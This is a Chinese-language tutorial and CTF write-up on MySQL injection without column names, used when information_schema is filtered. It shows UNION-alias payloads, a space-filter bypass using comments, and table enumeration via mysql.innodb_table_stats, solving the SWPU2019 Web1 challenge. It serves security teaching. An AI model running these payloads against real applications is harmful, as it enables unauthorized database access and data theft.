MySQL无列名注入

0x 01 简介

顾名思义,就是在不知道列名的情况下进行 sql 注入。

在 mysql => 5 的版本中存在一个名为 information_schema 的库,里面记录着 mysql 中所有表的结构。通常,在 mysql sqli 中,我们会通过此库中的表去获取其他表的结构,也就是表名、列名等。但是这个库经常被 WAF 过滤。

当我们通过暴力破解获取到表名后,如何利用呢?

在 information_schema 中,除了 SCHEMATA、TABLES、COLUMNS 有表信息外,高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。

0x 02 使用条件&方法

使用条件&方法

无列名注入主要是适用于已经获取到数据表,但无法查询列的情况下,在大多数 CTF 题目中,information_schema 库被过滤,使用这种方法获取列名。

无列名注入的原理其实很简单,类似于将我们不知道的列名进行取别名操作,在取别名的同时进行数据查询,所以,如果我们查询的字段多于数据表中列的时候,就会出现报错。

不使用表名查询

正常的 sql 查询如下:

1
select * from `admin`;

其中,列名为 id、name、password,使用 union 查询:

1
select 1,2,3 union select * from admin;

如图,我们的列名被替换为了对应的数字。也就是说,我们可以继续数字来对应列,如 3 对应了表里面的 password:

1
select `3` from (select 1,2,3 union select * from admin)a;

末尾的 a 可以是任意字符,用于命名。

当然,多数情况下,` 会被过滤。当 ` 不能使用的时候,使用别名来代替:

1
select b from (select 1,2,3 as b union select * from admin)a;

同时查询多个列:

1
select concat(`2`,0x2d,`3`) from (select 1,2,3 union select * from admin)a limit 1,3;

简而言之,可以通过任意命名进入该表,然后使用 SELECT 查询这些字段中的任何已知值。

payload:select a,b from posts where a=-1 union select 1,(select concat(3,0x2d,4) from (select 1,2,3,4,5,6 union select * from xxx)a limit 1,1);

0x 03 例题分析

[SWPU2019]Web1

  1. 注入点在广告名。点击广告详情,发现数据库的报错信息,证明存在注入。

简单测试了一下,空格 和 or 被过滤,报错过滤了extractvalue 和 updatexml,于是考虑用 union 联合注入。

首先测试字段数量,有22个字段

1
2
3
4
-1'union/**/select/**/1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

#group by获取列数
-1'/**/group/**/by/**/22,'11

查看数据库版本信息,是MariaDB

由于过滤了or,所以用mysql.innodb_table_stats查询数据表或者用sys.schema_auto_increment_columns

1
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

查询users表,得到flag

1
-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22